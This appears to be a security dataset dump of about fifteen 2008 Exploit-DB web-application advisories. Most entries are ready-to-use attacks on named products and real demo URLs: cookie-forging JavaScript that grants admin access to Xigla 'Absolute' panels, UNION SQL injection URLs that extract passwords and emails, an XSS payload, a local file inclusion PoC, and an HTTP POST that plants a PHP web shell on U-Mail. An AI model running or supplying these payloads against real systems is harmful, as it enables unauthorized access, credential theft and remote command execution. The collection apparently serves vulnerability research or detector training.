QLWD/code_shield huggingface dataset:
标题: Absolute Control Panel XE 1.5 - Insecure Cookie Handling EDB-ID: 6893 CVE: 2008-6859 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Discovered By : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Control Panel XE [see script] http://www.xigla.com/absolutecp/demo.htm
[~] Greetz : Allah , Egyptian x hacker , All my team , All educ-up Member
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecp/xlaabsolutecp/login.asp
Second Execute JS Code 
[~] javascript:document.cookie="xlaCPadmin=lvl=1&email=email@here.com&pwd=admin&usr=admin&userid=1";
Now Go to http://www.xigla.com/absolutecp/xlaabsolutecp/menu.asp

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6893
标题: SFS EZ Adult Directory - 'directory.php' SQL Injection EDB-ID: 6895 CVE: 2008-6784 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ==================================================================================
   SFS EZ Adult Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
      __  __           __          
      / / / /_  _______/ /__  __  __
     / /_/ / / / / ___/ / _ \/ / / /
    / __  / /_/ / /  / /  __/ /_/ / 
   /_/ /_/\__,_/_/  /_/\___/\__, /  
                           /____/   
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://turnkeyzone.com/demos/adultdir/directory.php?ax=list&sub=6&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------
==================================================================================
Special Thx : Darckc0de
==================================================================================

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6895
标题: Absolute Live Support 5.1 - Insecure Cookie Handling EDB-ID: 6892 CVE: 2008-6864 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Discovered By: Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Live Support  [see script] http://www.xigla.com/absolutelsnet/demo.htm
[~] Greetz : Allah , Egyptian x hacker , All my team , All educ-up Member
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutelsnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaALSDEMOadmin=userid=1&lvl=1&nick=admin&mywelcome=Hi, How may I help you";
Now Go to http://www.xigla.com/absolutelsnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6892
标题: SFS EZ Hosting Directory - 'cat_id' SQL Injection EDB-ID: 6905 CVE: 2008-6782 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
# LAHEY mahkemesini kiniyoruz. FUCK THE JUSTICE!
#
# Script : SFS Hosting Directory
# Price: $ 24.95
# Script Site: http://scripts-for-sites.com/item.php?item=114
#
# D0rk : "sie go amk. iÅŸinizmi yok xD"
#
# SQL Injection Vuln. :
#
# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# Example: http://hostdir.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/*
#
# -------------------------------
#                       Ya RAMADHAN
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#  pigs for dedication : WE Are Don't Forget Kosova, Drenica, Srebrenica And All Genocide !!
#                      Proud 2 Be ALBANIAN !
#
# bÃ¼tÃ¼n emocu,punkci zartci zurtcularin Aq!  Anti-Tikky.Com anti-tikiyiz xD
#
# ONEMLI Not Expo Bilisimden host almayin. Serefsizler daha sunucu yonetmeyi bilmiyor bide ustune musteriyi keklemeye calisiyo. Yakinda kanitlariyla r10da yayinlicam ;)
# Demistim rezil edicem sizi ;)
#
#######################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6905
标题: Logz podcast CMS 1.3.1 - 'art' SQL Injection EDB-ID: 6896 CVE: 2008-4897 2008-4896 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: [~] Logz podcast CMS version 1.3.1 Remote sql inj
[~]
[~] download: http://sourceforge.net/project/showfiles.php?group_id=107225&package_id=178479&release_id=635701
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 31.10.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

file:

fichiers/add_url.php

code:

       if (isset($_GET['art'])) {
       $Article = $_GET['art']; 
       
       ...
       
       $Requete = "SELECT TITRE FROM ".TABLEARTICLES." WHERE ID = '".$Article."' ".$Conditions;
        $ResultRequete = requete_mysql($Requete);
       
    

Exploit:

http://localhost/script_path/fichiers/add_url.php?art=[SQL]

[SQL]= column number 1 (SELECT TITRE FROM ...)

1'+union+select+concat(user(),0x3a,database())/*

example:

http://example.com/scripth_path/fichiers/add_url.php?art=1'+union+select+concat(user(),0x3a,database())/*

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6896
标题: Absolute News Manager 5.1 - Insecure Cookie Handling EDB-ID: 6900 CVE: 2008-6856 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: #################################################################################
## Discovered by : Hakxer                                                       #
## Script : Absolute News Manager :http://www.xigla.com/absolutenmnet/demo.htm  #
## Greetz : Allah , Egyptian x Hacker , SQL_Inj4ct0r , Stealth , All my team    #
## Team : EgY Coders Team                                                       #
## ----------------------------Start Exploit----------------------------------- #
## First Go to http://www.xigla.com/absolutenmnet/demo/login.aspx
## Execute JS Code : javascript:document.cookie="xlaANMadmin_demo=usr=1&lvl=2&uniqueid=&permissions=upload,relate";
## Second Go to http://www.xigla.com/absolutenmnet/demo/menu.aspx
## _=END=_
#############################################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6900
标题: Absolute News Feed 1.0 - Remote Insecure Cookie Handling EDB-ID: 6901 CVE: 2008-6855 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ########################################################################
# Discovered by : Hakxer                                               #
# Script : Absolute News Feed http://www.xigla.com/absolutenf/demo.htm #
# Greetz : Allah , All My friend ,www.educ-up.com                      #
# -------------------------------                                      #
# Poc :                                                                #
# javascript:document.cookie="xlaAFSuser=p=admin";                     #
#                                                                      #
# [~] Exploit                                                          #
#                                                                      #
# Go To admin login : http://www.xigla.com/absolutenf/demo/login.aspx  #
# Execute JS Code : javascript:document.cookie="xlaAFSuser=p=admin";   #
# Now Go to :http://www.xigla.com/absolutenf/demo/menu.aspx            #
#                #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )       #
########################################################################

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6901
标题: SFS EZ Gaming Directory - 'directory.php' SQL Injection EDB-ID: 6894 CVE: 2008-6781 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ==================================================================================
   SFS EZ Gaming Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
      __  __           __          
      / / / /_  _______/ /__  __  __
     / /_/ / / / / ___/ / _ \/ / / /
    / __  / /_/ / /  / /  __/ /_/ / 
   /_/ /_/\__,_/_/  /_/\___/\__, /  
                           /____/   
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://www.turnkeyzone.com/demos/gaming/directory.php?ax=list&l=list_by&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------
==================================================================================
Special Thx : Darckc0de
==================================================================================

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6894
标题: U-Mail Webmail 4.91 - 'edit.php' Arbitrary File Write EDB-ID: 6898 CVE: 2008-4932 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: U-Mail Webmail Arbitrary File Write Vulnerability

==================================================

Vulnerable:  U-Mail 4.91 
Vendors: www.comingchina.com 
Category:    Input Validation Error
Impact:  An attacker can write arbitrary data to new files.
Author:  Shennan Wang
Date:  2008-10-30
Web:  http://hi.baidu.com/nansec


Details:
========= 
This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories.


Exploit:
=========
POST /webmail/modules/filesystem/edit.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: mail.d4rkn3t.cn
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18

path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?system($_GET[cmd]);?>

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6898
标题: Absolute Form Processor 4.0 - Insecure Cookie Handling EDB-ID: 6891 CVE: 2008-6863 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Form Processor [see script] http://www.xigla.com/absolutefpnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutefpnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaAFPDEMOadmin=userid=1&lvl=1&createforms=checked";
Now Go to http://www.xigla.com/absolutefpnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6891
标题: Absolute Banner Manager - Insecure Cookie Handling EDB-ID: 6890 CVE: 2008-6858 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Banner Manager [see script] http://www.xigla.com/absolutebmnet/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutebmnet/demo/login.aspx
Second Execute JS Code 
[~] javascript:document.cookie="xlaABM_usr=userid=administrator&company=Sytem Administrator";
Now Go to http://www.xigla.com/absolutebmnet/demo/menu.aspx

--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6890
标题: Venalsur on-line Booking Centre - Cross-Site Scripting / SQL Injection EDB-ID: 6876 CVE: 2008-6216 2008-6215 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: Booking System for Hotels Group  powered by Venalsur Bookingcenter  XSS/SQL injetion vulnerability!
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
Author:   d3b4g

Greetz:   str0ke,,Darkc0de.com,rez0rn,draconyx,godinlaw,hatebreeder And all my friends
Site   :  www.bl4ck3nd.info
Contact:  bl4ckend[at]gmail[dot]com
-------------------------------------------------------------------


-------------------------------------------------------------------
Dork:         N/A
-------------------------------------------------------------------
Affected software:

-----------------
Application : Booking System for Hotels Group powered by Venalsur Bookingcenter
URL :  http://www.bookingcentre.eu
===================================================================

Sql injection
=============


Exploit: http://site.com/www_en/cadena_ofertas_ext.php?OfertaID= [sql]

Demo   : http://demo.hotelsadmin.com/www_en/cadena_ofertas_ext.php?OfertaID=-1+union+all+select+1,2,3,concat(username,password),5,6,7,8,9,10,11+from+members/*

------------------------------------------------------------------------

Xss
===

Exploit:http://demo.hotelsadmin.com/www_en/cadena_ofertas_ext.php?OfertaID=<script>alert(40323.6285846991)</script>

=========================================================================

Proud to be a maldivian :):) Happy new maldives [29.10.2008]

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6876
标题: Absolute Content Rotator 6.0 - Insecure Cookie Handling EDB-ID: 6889 CVE: 2008-6862 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Content Rotator 6.0 [see script] http://www.xigla.com/absolutecr/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecr/demo/login.aspx
Second Execute 
[~] javascript:document.cookie="xlaACRDEMOuser=userid=1&lvl=1&s=";
Now Go to http://www.xigla.com/absolutecr/demo/menu.aspx


--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6889
标题: Tribiq CMS 5.0.9a (Beta) - Insecure Cookie Handling EDB-ID: 6886 CVE: 2008-6804 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: biqcms 5.0.9a (beta) Insecure Cookie Handling Vulnerability
[~]
[~] donwload: http://sourceforge.net/project/showfiles.php?group_id=143555&package_id=232638&release_id=636935
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 30.10.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] -----------------------------------------------------------

code:

        setcookie ("COOKIE_LAST_ADMIN_USER", $newAdmin["username"], time()+8640000, '/');
        setcookie ("COOKIE_LAST_ADMIN_LANG", $newAdmin["use_language_id"], time()+8640000, '/');


Exploit:

javascript:document.cookie = "COOKIE_LAST_ADMIN_USER=real_admin_name; path=/"; document.cookie = "COOKIE_LAST_ADMIN_LANG=en-GB; path=/";

example for my localhost:

javascript:document.cookie = "COOKIE_LAST_ADMIN_USER=zorlu; path=/"; document.cookie = "COOKIE_LAST_ADMIN_LANG=en-GB; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------


# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6886
标题: Absolute Podcast 1.0 - Remote Insecure Cookie Handling EDB-ID: 6882 CVE: 2008-6857 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-30 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Discovered By : Hakxer
# Home : Www.educ-up.com
# Type Gap : Insecure cookie handling 
# script : Absloute Podcast V 1.0 [see script] http://www.xigla.com/apodcasting/demo.htm
# Greetz : Allah , Egyptian x Hacker , all my team , All educ-up member
# Team : EgY Coders 
#################################################################################################

# Dork : "Powered by Absolute Podcast "

# Poc 
==> javascript:document.cookie="xlaAPCuser=userid=1&lvl=1&s=";

# Live Script 

# First go to Admin panel : http://www.xigla.com/apodcasting/demo/login.aspx
# [~]  javascript:document.cookie="xlaAPCuser=userid=1&lvl=1&s=";
# Second Go to http://www.xigla.com/apodcasting/demo/menu.aspx
# See Admin panel .. 

# Have Fun :D

###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-30] URL: https://www.exploit-db.com/exploits/6882
标题: Tribiq CMS 5.0.10a (Windows) - Local File Inclusion EDB-ID: 6888 CVE: 2008-4894 2008-4893 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

Tribiqcms 5.0.10a (beta) Local File Inclusion Vulnerability

Vuln Code In : /Community-5.0.10a/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php

<div id="header">
  <div id="logo"> <img src="templates/<?php echo $template_path;?>/images/logo.gif" alt="Company Name" /> </div>
  <div id="language_selector">
    <?php include "templates/".$template_path."/includes/language_box.inc.php";?> <--x
  </div>
  <div id="search_box">
    <div id="searchbox_holder">
      <?php include "templates/".$template_path."/includes/searchbox.inc.php";?><--x
    </div>
  </div>
</div>

POC :
/templates/mytribiqsite/tribal-GPL-1066/includes/header.inc.php?template_path=Local File %00

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-31] URL: https://www.exploit-db.com/exploits/6888